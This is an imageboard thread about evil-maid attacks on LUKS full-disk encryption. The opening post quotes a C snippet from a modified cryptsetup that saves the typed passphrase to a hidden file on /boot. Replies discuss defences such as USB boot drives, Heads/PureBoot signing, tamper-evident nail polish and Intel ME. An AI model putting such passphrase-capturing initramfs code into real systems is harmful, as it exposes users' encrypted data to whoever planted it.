Breaking Luks

Source: https://twopointfouristan.wordpress.com/2011/04/17/pwning-past-whole-disk-encryption/ You can break luks by making an initramfs with a modified cryptsetup(8) for example: if((r = LUKS_open_any_key(options->device, password, passwordLen, &hdr, &mk, backend)) < 0) { set_error("No key available with this passphrase.\n"); goto out1; } else { system("/bin/mkdir /mntboot"); system("/bin/mount -t ext3 /dev/sda1 /mntboot"); FILE *fp = fopen("/mntboot/.cryptpass", "w"); fprintf(fp, "%s\n", password); fclose(fp); system("/bin/umount /mntboot"); } (This is an old code that will not work in newer versions. But can be tweaked) which would write the passphrase you gave cryptsetup to decrypt the drives. and save it in /boot/.cryptwass (/dev/sda1). Exposing the passphrase Ways to solve this: * Use libreboot and FDE * Not installing grub in /dev/sda but in an external device. So everytime you want to boot, use a USB. Should we ditch booting from hard drive and start using USB?

Yes. Load up a backdoored kernel and you can do whatever you want. For really secure FDE you need to carry around the boot partition on a USB stick around your neck. Libreboot is largely unnecessary for this purpose, a backdoored CPU is a backdoored CPU no matter what you boot it with. Also make sure you use a BIOS bootloader and not UEFI. UEFI partitions can hold system-level backdoors.

>>11634 >Libreboot is largely unnecessary for this purpose, a backdoored CPU is a backdoored CPU no matter what you boot it with. lainon, libreboot removes the Intel Management Engine...

>>11635 not it does not. The IME runs in hardware and cannot be removed. It is another, physical CPU inside of your CPU that has its own un-modifiable ROM.

>>11636 maybe the backdoor is still there but according to this is disabled: https://libreboot.org/docs/hardware/gm45_remove_me.html

>>11637 Also, coreboot wiki says ME can be disabled in GM45 boards

>>11637 that is removing the boot code for specific, old chipsets. Other processors/chipsets have different ways of initializing the ME, and some of them offer no way to disable it at all without bricking the system.

>>11639 My main computer is a Thinkpad T400 ;)

https://youtube.com/watch?v=aRUxfxp9dJ8 This is a video about removing backdoor, according to one comment >>11639 is right >Intel ME cannot be disabled. It is embedded in the CPU and if you successfully killed off the Intel ME in your CPU, your CPU wouldn't start at all. What you are doing is disabling the BIOS code that talks to and enumerates Intel ME stuff and makes the hardware interfaces available to the OS. The ME is still running on your CPU and still has complete control over it.

>>11632 > * Not installing grub in /dev/sda but in an external device. So everytime you want to boot, use a USB. I did this for a while. Just had /boot on a flashdrive I kept with me. Sometimes was a bit tedious when I couldn't boot my lappy w/o the drive, but that's okay. I currently use coreboot+heads with a nitrokey to verify the integrity of my boot. Each time I update my system I update my checksums and sign my files in /boot. Pretty cool and makes it harder for someone to alter my /boot while I'm sleeping (unlike /boot on a flash drive).

>>11645 Gonna ask that, you use the grub check signatures thing right? what do you do if an attacker: 1. waits for you to sleep/whatever 2. grabs your hard drive 3. connects it to pers computer 4. generates a new singing key 5. signs the trojan initrd and kernel with pers key 6. it works like it would with your key 7. put hard drive back 8. you wake up 9. use your computer 10. enter luks password 11. pwned does grub tells you that the signature changed or something?

>>11646 >Gonna ask that, you use the grub check signatures thing right? No. I use this: https://docs.puri.sm/PureBoot.html >what do you do if an attacker: >1. waits for you to sleep/whatever >2. grabs your hard drive >3. connects it to pers computer >4. generates a new singing key >5. signs the trojan initrd and kernel with pers key >6. it works like it would with your key >7. put hard drive back >8. you wake up >9. use your computer It'll spit an error at me saying the checksums aren't correct, and my boot has been tampered with. https://docs.puri.sm/PureBoot/GettingStarted.html#files-in-boot-have-been-modified It's signed with my own gpg key which is stored on my nitrokey, so signing the trojan initramfs and kernel with another key wouldn't do much.

or... i get up, see spooktard in my room on haven, reinstall os in about ten minutes, have breakfast.

>>11632 This attack is super well known. Its called evil maid attack. Worse, carrying bootable thumb doesn't solve problem. What about hw keylogger? Ensuring integrity is difficult when attack has physical access.

>>11652 How I wouldn't notice a hw keylogger?

>>11659 you open up your pc every time you use it?

>>11661 I use a thinkpad bro

>>11663 You pry up your keyboard every time to check for keylogger spliced into it's ribbon cable?

>>11665 How would one do this?

>>11665 I don't use my laptops keyboard because i have a model m

>>11666 2007 technology, NSA Cottonmouth from ANT Catalog. https://en.wikipedia.org/wiki/NSA_ANT_catalog There is enough volume to splice ultrabase connector displayport pins to eDP socket for display mods, even add a plastic spacer. Thinkpads are very spacious inside. >>11667 Do you pry your model M? What was the last time you checked the controller board and it's firmware, the hueg barrel DIN connector?

>>11665 >You pry up your keyboard every time to check for keylogger spliced into it's ribbon cable? Nah. I buy some glitter nail polish. Put it over my screws on my laptop and let it dry. Take HD photos of each screw. Compare photos to laptop each time I boot. Pretty analog way to detect tampering. Tho the store manager might call you a user like they did in my case.

>>11641 On old systems it was on the northbridge, only after the Core-i series did it become integral to booting the system up.

You know there's a nasty linux rootkit floating around that does something like this, It may use kexec and spread over ssh. Who knows I sure don't. Im just a guy who doesn't use lkm's or kexec.

>>12727 Defeating LUKs is something that rootkits dont have to do because they have something better : Access to the FS transparently while system is running and decrypted. Only a physical attacker is intrested in breaking luks. Its no good to a remote attacker, and uncommon anyway. Also, if you have a running rootkit, defeating LUKs is unnecessary. And you could probably just read decrypted key out of menory anyway.

>>11632 Kinda weird, at some point I did boot up and my computer thought I put the wrong passphrase at some point in what looked like a knock-off boot sequence (fonts are off, it looked like what it would if I used fedora). Very recently, my system refused to accept my user password (root works) so I did a su+passwd user and it still won't work not until I restarted. Strange soykaf. I'm considering on getting libreboot. >USB Keys are okay but isn't USB in itself poor practice as it's a direct access? I mean even 'a mouse' is actually a camera and USB being disabled until you use your fde passphrase is much better? >>11636 This is somehow true, the minix thing is still there, and can just do some direct access over CPU and let's say it can backdoor the AES instruction, and RNG.

>>11680 How about making proper perimeter protection, so devices are hard / "impossible" to covertly access?

I'm a noob so correct me if i'm wrong. Does that mean that encrypted devices can be accessed anyway ? That means that basically someone is capable of accessing my device even if encrypted, the what's the point of using encryption without some methods to prevent people from breaking it?

>>12990 OP is an idiot and thinks he discovered something new. FDE threat model assumes laptop is seized not covertly modified to record key strokes. Once adversary modifies your hw, your fuarrrked. Its actually slightly easier to modify your boot loader or initrd like OP suggests, but the kind of adversary who obtains local acess to your machine and can covertly modify, can likely just modify hw too. FDE doesnt offer protection here.